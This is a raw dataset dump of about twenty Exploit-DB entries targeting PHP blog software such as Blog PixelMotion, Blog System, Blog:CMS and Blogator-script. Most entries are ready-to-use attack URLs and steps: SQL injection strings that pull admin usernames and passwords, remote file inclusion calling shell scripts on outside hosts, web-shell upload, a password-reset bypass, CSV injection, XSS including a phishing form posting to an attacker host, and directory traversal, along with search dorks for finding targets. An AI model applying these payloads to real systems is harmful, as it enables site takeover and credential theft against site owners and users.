deardaniel/secdata-raw huggingface dataset:
Exploit-DB #11462
Description: blog ink - Bypass Setting
Type: webapps
Platform: php
Date: 2010-02-15
Author: indoushka

Exploit:
========================================================================================                  
| # Title        : blog ink By Pass Setting Vulnerability      
| # Author       : indoushka                                                               
| # email        : indoushka@hotmail.com                                                   
| # Home         : www.iq-ty.com/vb                                                                             
| # Script Home  : powered by blog ink                                                                                                                      
| # Dork         : Powered by PHP Melody 1.5.3                                        
| # Tested on    : windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       
| # Bug          : By Pass Setting                                                                   
======================      Exploit By indoushka       =================================
# Exploit  : 
 
  http://127.0.0.1/blogink/setup.php?do=settings
 
 
Dz-Ghost Team ===== Saoucha * Star08 * Redda * Silitoad ======================================================
Greetz : 
Exploit-db Team : 
(loneferret+Exploits+dookie2000ca)
all my friend :
His0k4 * Hussin-X * Rafik (Tinjah.com) * Yashar (sc0rpion.ir) SoldierOfAllah (www.m4r0c-s3curity.cc)
www.owned-m.com * Stake (v4-team.com) * www.securitywall.org * r1z (www.sec-r1z.com)
www.securityreason.com * www.packetstormsecurity.org * www.m-y.cc * Cyb3r IntRue (avengers team)
www.hacker.ps * no-exploit.com * www.bawassil.com * www.xp10.me * www.mormoroth.net 
www.alkrsan.net * www.kadmiwe.net * www.arhack.net   
--------------------------------------------------------------------------------------------------------------
Exploit-DB #44535
Description: Blog Master Pro 1.0 - CSV Injection
Type: webapps
Platform: php
Date: 2018-04-25
Author: 8bitsec

Exploit:
# Exploit Title: Blog Master Pro v1.0 - CSV Injection
# Date: 2018-04-23
# Exploit Author: 8bitsec
# CVE: CVE-2018-10255
# Vendor Homepage: https://codecanyon.net/
# Software Link: https://codecanyon.net/item/blog-master-pro/21689781
# Version: 1.0
# Tested on: [Kali Linux 2.0 | Mac OS 10.13]

Release Date:
=============
2018-04-23

Product & Service Introduction:
===============================
This application based on new Latest Laravel 5.5 Framework that allows web site owners to quickly add blog post, manage author and user, manage comments, manage website, manage profile and allow to create category and tag. 
It is designed latest security and code standards and it is ready for high availability web sites.

Technical Details & Description:
================================

A user is able to inject a command that will be included in the exported CSV file.

Proof of Concept (PoC):
=======================

1. Login with regular user's credentials
2. Add =cmd|'/C calc'!A1 as a comment on any article
3. Log in with admin's credentials
4. Browse to Dashboard > Comments
5. Click on the CSV button to download and open the exported CSV file
Exploit-DB #5382
Description: Blog PixelMotion - 'categorie' SQL Injection
Type: webapps
Platform: php
Date: 2008-04-06
Author: parad0x

Exploit:
Blog Pixel Motion Sql Injection Vulnerability
-------------------------------------------------------------------------------------------------
# Author  : parad0x
# Home   : www.inso.host.sk
# Script  : Blog PixelMotion 
# Download  : http://www.pixelmotion.org/zip/blog.zip
-------------------------------------------------------------------------------------------------
http://[target]/index.php?categorie=[SQL]

-------------------------------------------------------------------------------------------------
Example:

http://www.xxx.org/blog/index.php?categorie=-1+union+select+0,1,2,database(),4,5,6/*
-------------------------------------------------------------------------------------------------
greetz : VoLqaN
-------------------------------------------------------------------------------------------------

side note (thanks C0D3R-DZ):
http://localhost/[script_path]/index.php?categorie=-1+union+select+1,2,concat(login,0x3a,pass),4,5,6+from+blog_utilisateurs/*

# milw0rm.com [2008-04-06]
Exploit-DB #5381
Description: Blog PixelMotion - 'modif_config.php' Arbitrary File Upload
Type: webapps
Platform: php
Date: 2008-04-06
Author: JIKO

Exploit:
-------------------------------------------------------------------------
  --          JIKI Team [ JIKO + KIl1er ]        ---
-------------------------------------------------------------------------
# Author  : jiko [jiki team]
# email  : jalikom@hotmail.com
# Home   : www.no-back.org
# Script  : Blog PixelMotion 
# Bug   : Remote File Upload Vulnerability
# Download  : http://www.pixelmotion.org/zip/blog.zip
 
=========================JIkI Team===================
# Exploit  :
uploa your shell  
  http://[Site]/[script]/admin/modif_config.php
http://[Site]/[script]/templateZip/[shell]
###################OR################
upload your shell compressed by Zip forme
  http://[Site]/[script]/admin/modif_config.php
after upload your shell go to
  http://[Site]/[script]/templates/[shell]
because your sheel has extract at templates
and has upload at templateZip
=========================JIKI Team===================
 greetz : all my friend and H-T Team 
-------------------------------------------------------------------------
  --            JIKI Team [ JIKO + KIl1er ]    --
-------------------------------------------------------------------------

# milw0rm.com [2008-04-06]
Exploit-DB #5380
Description: Blog PixelMotion - 'sauvBase.php' Arbitrary Database Backup
Type: webapps
Platform: php
Date: 2008-04-06
Author: JIKO

Exploit:
-------------------------------------------------------------------------
  --          JIKI Team [ JIKO + KIl1er ]        ---
-------------------------------------------------------------------------
# Author  : jiko [jiki team]
# email  : jalikom@hotmail.com
# Home   : www.no-back.org
# Script  : Blog PixelMotion 
# Bug   : Database Backup Dump Vulnerability
# Download  : http://www.pixelmotion.org/zip/blog.zip
 
=========================JIkI Team===================
# Exploit  :
 
  http://[Site]/[script]/admin/sauvBase.php
table of member is blog_utilisateurs
=========================JIKI Team===================
 greetz : all my friend and H-T Team 
-------------------------------------------------------------------------
  --            JIKI Team [ JIKO + KIl1er ]    --
-------------------------------------------------------------------------

# milw0rm.com [2008-04-06]
Exploit-DB #26731
Description: Blog System 1.2 - 'index.php?cat' SQL Injection
Type: webapps
Platform: php
Date: 2005-12-05
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/15719/info

Blog System is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/index.php?mode=home&cat=-99[SQL CODE]
Exploit-DB #4206
Description: Blog System 1.x - 'index.php?news_id' SQL Injection
Type: webapps
Platform: php
Date: 2007-07-20
Author: t0pP8uZz

Exploit:
--==+================================================================================+==--
--==+              BlogSite Professional SQL Injection Vulnerbility                  +==--
--==+================================================================================+==--



AUTHOR: t0pP8uZz & xprog
SITE: N/A
DORK: allintext:"Browse Blogs by Category"


DESCRIPTION:
pull out admin/members login credentials


EXPLOITS:
http://www.server.com/index.php?page_id=-1&news_id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,concat(username,0x3a,password),4,5,6/**/FROM/**/websiteadmin_admin_users/*


NOTE/TIP:
admin login is the normal login on index.php


GREETZ: milw0rm.com, H4CKY0u.org, G0t-Root.net/G0t-Root.org !


--==+================================================================================+==--
--==+              BlogSite Professional SQL Injection Vulnerbility                  +==--
--==+================================================================================+==--

# milw0rm.com [2007-07-20]
Exploit-DB #11216
Description: Blog System 1.x - 'note' SQL Injection
Type: webapps
Platform: php
Date: 2010-01-21
Author: h4ck3r

Exploit:
[#] Script : Blog System
[#] Version : 1.x
[#] Link : http://netartmedia.net/blogsystem/

[#] Dork : "powered by Blog System"
[#] Table : websiteadmin_admin_users
[#] Columns : id,username,password,type

[#] Exploit : /blog.php?user=[real-user]&note=-1549+union+all+select+1,2,3,concat_ws(0x3a,id,username,password,type),5,6,7,8,9+from+websiteadmin_admin_users--

[#] CP : /BO

[#] Regards : ('Dr.2' , 'd3hydr8' , 'jonathan59' , 'inkubus' , 'Tundergun' , 'VMw4r3' , 'TinKode' , 'darkc0de's members')

[#] Note : replace [real-user] with a user exists in the blog ,, otherwise it will not work.
Exploit-DB #33833
Description: Blog System 1.x - Multiple Input Validation Vulnerabilities
Type: webapps
Platform: php
Date: 2010-04-12
Author: cp77fk4r

Exploit:
source: https://www.securityfocus.com/bid/39406/info

Blog System is prone to multiple input-validation vulnerabilities because it fails to adequately sanitize user-supplied input. These vulnerabilities include local file-include, SQL-injection, and cross-site-scripting issues.

Exploiting these issues can allow an attacker to steal cookie-based authentication credentials, view local files within the context of the webserver, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. Other attacks may also be possible.

Blog System versions 1.5 and prior are affected. 

http://www.example.com/ADMIN/index.php?category=(home|comments|lists|habillage|info)&action=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/ADMIN/index.php?category=(home|comments|lists|habillage|info)&action=[LFI]%00
Exploit-DB #24796
Description: Blog Torrent 0.8 - Directory Traversal
Type: webapps
Platform: php
Date: 2004-12-02
Author: Steve Kemp

Exploit:
source: https://www.securityfocus.com/bid/11795/info

It is reported that Blog Torrent is prone to a remote directory traversal vulnerability. This issue is due to a failure of the server process to properly filter user supplied input. 

Blog Torrent preview 0.8 version is affected by this vulnerability.

htp://www.example.com/battletorrent/btdownload.php?type=torrent&file=../../etc/passwd
Exploit-DB #24803
Description: Blog Torrent 0.80 - 'BTDownload.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-12-07
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/11839/info

It is reported that Blog Torrent is affected by a cross-site scripting vulnerability. This issue is due to a failure of the application to properly sanitize user-supplied URI input.

This issue could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were to be followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.

Get cookie session:
http://www.example.com/bittorrent_module/btdownload.php?file=<script>alert(document.cookie)</script>

Insert content :
http://www.example.com/bittorrent_module/btdownload.php?file=<img%20src=http://www.google.es/images/logo_sm.gif>

Insert remote web :
http://www.example.com/bittorrent_module/btdownload.php?file=<iframe%20src=http://www.google.es/></iframe>

Insert remote data base:
http://www.example.com/bittorrent_module/btdownload.php?file=<form%20action="http://www.atacker.com/savedb.php"%20method="post">Username:<input%20name="username"%20type="text"%2
0maxlength="30">Password:<input%20name="password"%20type="text"%20maxlength="30"><input%20name="login"%20type="submit"%20value="Login"></form>
Exploit-DB #28402
Description: Blog:CMS 4.1 - 'Dir_Plugins' Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2006-08-17
Author: Drago84

Exploit:
source: https://www.securityfocus.com/bid/19577/info

Blog:CMS is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.

Version 4.1.0 is vulnerable; other versions may also be affected.

http://www.example.com/dir_blogccms/index.php?DIR_PLUGINS=http://evalsite.com/shell.php? http://www.example.com/dir_blogccms/admin/media.php?DIR_PLUGINS=http://evalsite.com/shell.php? http://www.example.com/dir_blogccms/extras/fancyurls/archive.php?DIR_PLUGINS=http://evalsite.com/shell.php? http://www.example.com/dir_blogccms/extras/fancyurls/archives.php?DIR_PLUGINS=http://evalsite.com/shell.php? http://www.example.com/dir_blogccms/extras/fancyurls/blog.php?DIR_PLUGINS=http://evalsite.com/shell.php?
Exploit-DB #28168
Description: Blog:CMS 4.1 - 'Thumb.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-07-05
Author: EllipSiS Security

Exploit:
source: https://www.securityfocus.com/bid/18837/info

Blog:CMS is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.

http://www.example.com/photo/thumb.php?gallery=./Corvette&image=[EVIL_SCRIPT]
Exploit-DB #29095
Description: Blog:CMS 4.1.3 - 'list.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-11-18
Author: Katatafish

Exploit:
source: https://www.securityfocus.com/bid/21173/info

BLOG:CMS is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

BLOG:CMS 4.1.3 and prior versions are vulnerable; other versions may also be affected.

http://www.example.com/[path]/list.php?FADDR="><script>alert("XSS");</script>
Exploit-DB #2923
Description: Blog:CMS 4.1.3 - 'NP_UserSharing.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-12-12
Author: HACKERS PAL

Exploit:
BLOG:CMS Remote file include Vulnerability

Discovered By : HACKERS PAL
Copy rights : HACKERS PAL
Website : http://www.soqor.net
Email Address : security@soqor.net

global $DIR_ADMIN;
include ( substr($DIR_ADMIN,0,strpos($DIR_ADMIN,'admin'))."photo".DIRECTORY_SEPARATOR."includes".DIRECTORY_SEPARATOR."user.class.php");

http://site.com/Blog_CMS/admin/plugins/NP_UserSharing.php?DIR_ADMIN=http://www.soqor.net/tools/cmd.txt?admin

# milw0rm.com [2006-12-12]
Exploit-DB #35834
Description: Blog:CMS 4.2 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2011-06-07
Author: Stefan Schurtz

Exploit:
source: https://www.securityfocus.com/bid/48132/info

BLOG:CMS is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

BLOG:CMS 4.2.1.f is vulnerable; other versions may also be affected. 

http://www.example.com/blogcms/photo/index.php?"<script>alert(0x0029A)</script>
http://www.example.com/blogcms/photo/index.php?"<script>alert(&#039;XSS&#039;);</script>

http://www.example.com/blogcms/photo/templates/admin_default/confirm.tpl.php?nsextt="<script>alert(&#039;XSS&#039;);</script>
http://www.example.com/blogcms/photo/templates/admin_default/confirm.tpl.php?nsextt="<script>alert(0x0029A)</script>

http://www.example.com/blogcms/admin/plugins/mailtoafriend/mailfriend.php
Exploit-DB #35117
Description: Blog:CMS 4.2.1 e - Multiple HTML Injections / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-12-15
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/45432/info

BLOG:CMS is prone to a cross-site-scripting vulnerability and multiple HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

BLOG:CMS 4.2.1.e is vulnerable; prior versions may also be affected. 

Cross Site Scripting POCs:

<form action="http://host/admin/index.php" method="post" name="main">
<input type="hidden" name="blogid" value="0">
<input type="hidden" name="itemid" value="0">
<input type="hidden" name="action" value="browseowncomments">
<input type="hidden" name="amount" value=&#039;10"><script>alert(document.cookie)</script>&#039;>
<input type="hidden" name="start" value="0">
<input type="hidden" name="search" value="">
</form>
<script>
document.main.submit();
</script>




http://www.example.com/admin/index.php?action=settingsedit"><script>alert(document.cookie)</script>
Exploit-DB #5368
Description: Blogator-script 0.95 - 'id_art' SQL Injection
Type: webapps
Platform: php
Date: 2008-04-04
Author: Virangar Security

Exploit:
           
             ########################################################################
             #                                                                      #
             #    ...:::::Blogator-script 0.95 SQL Injection Vulnerbility ::::....  #          
             ########################################################################

Virangar Security Team

www.virangar.org
www.virangar.net

--------
Discoverd By :virangar security team(hadihadi)

special tnx to:MR.nosrati,black.shadowes,MR.hesy,Zahra

& all virangar members & all hackerz

greetz:to my best friend in the world hadi_aryaie2004
& my lovely friend arash(imm02tal) from emperor team :)
-----------------------------------
dork: inurl:/_blogadata/
-----------------------------------
vuln code in /_blogadata/include/sond_result.php:
line 27: $id_art=$_GET['id_art'];
......
line 34: $sql_res=mysql_query("SELECT sond_rep, votes_H, votes_F FROM sondage_rep WHERE id_sond = $id_art ORDER BY ordre");
------------
vuln:
http://www.site.com/_blogadata/include/sond_result.php?id_art=-99999/**/union/**/select/**/concat(pseudo,0x3a,pass,char(58),email),2,3/**/from/**/membre/**/where/**/id_membre=1/*
--------------------------------
you can see in Blogator-script other injection bugs too ;)

# milw0rm.com [2008-04-04]
Exploit-DB #5365
Description: Blogator-script 0.95 - 'incl_page' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-04-04
Author: JIKO

Exploit:
-------------------------------------------------------------------------
  --          JIKI Team [ JIKO + KIl1er ]        ---
-------------------------------------------------------------------------
# Author  : jiko
# email  : jalikom@hotmail.com
# Home   : www.no-back.org
# Script  : Blogator-script  Version 2
# Bug   : Remote File Inclusion
# Download  : http://www.blogator-script.com/telecharger.php
# file  : struct_admin.php & struct_admin_blog.php  & struct_main.php
# Eror  :
   <? include($incl_page); ?>
=========================JIkI Team===================
# Exploit  :
 
  http://localhost/[script]/_blogadata/include/struct_admin.php?incl_page=http://localhost/shell.txt?
http://localhost/[script]/_blogadata/include/struct_admin_blog.php?incl_page=http://localhost/shell.txt?
http://localhost/[script]/_blogadata/include/struct_main.php?incl_page=http://localhost/shell.txt?
=========================JIKI Team===================
 greetz : all my friend and H-T Team 
-------------------------------------------------------------------------
  --            JIKI Team [ JIKO + KIl1er ]    --
-------------------------------------------------------------------------

# milw0rm.com [2008-04-04]
Exploit-DB #5370
Description: Blogator-script 0.95 - Change User Password
Type: webapps
Platform: php
Date: 2008-04-05
Author: Virangar Security

Exploit:
	     ##############################################################################
             #                                                                            #
             #  ...:::::Blogator-script 0.95 Change User Password Vulnerbility ::::....   #           
             ##############################################################################

Virangar Security Team

www.virangar.org
www.virangar.net

--------
Discoverd By :virangar security team(hadihadi)

special tnx to:MR.nosrati,black.shadowes,MR.hesy,Zahra

& all virangar members & all hackerz

greetz:to my best friend in the world hadi_aryaie2004
& my lovely friend arash(imm02tal) from emperor team :)
-----------------------------------
dork: inurl:/_blogadata/
-----------------------------------
vuln code in /_blogadata/include/init_pass2.php:
line 23: $id=$_GET['a'];
line 24:$email=$_GET['b'];
line 25: $mdp=$_GET['c'];
.....
line 27: $sql_change_pass=mysql_query("UPDATE membre SET pass = '$mdp' WHERE id_membre = '$id' AND email LIKE '$email' LIMIT 1");

so if we put user id for $id and put %(any) for user email($email) and $mdp=newpassword.....he he he :)
------------
vuln:
http://www.site.com/_blogadata/include/init_pass2.php?c=[newpass]&a=[user id]&b=%
example:(change admin pass to 123456)
http://www.site.com/_blogadata/include/init_pass2.php?c=123456&a=1&b=%

# milw0rm.com [2008-04-05]
Exploit-DB #26572
Description: blogBuddies 0.3 - 'index.php?u' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-11-23
Author: gb.network

Exploit:
source: https://www.securityfocus.com/bid/15555/info

blogBuddies is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/computechnix/blogbuddies/
index.php?u="><script>alert("hola vengo a flotar");</script>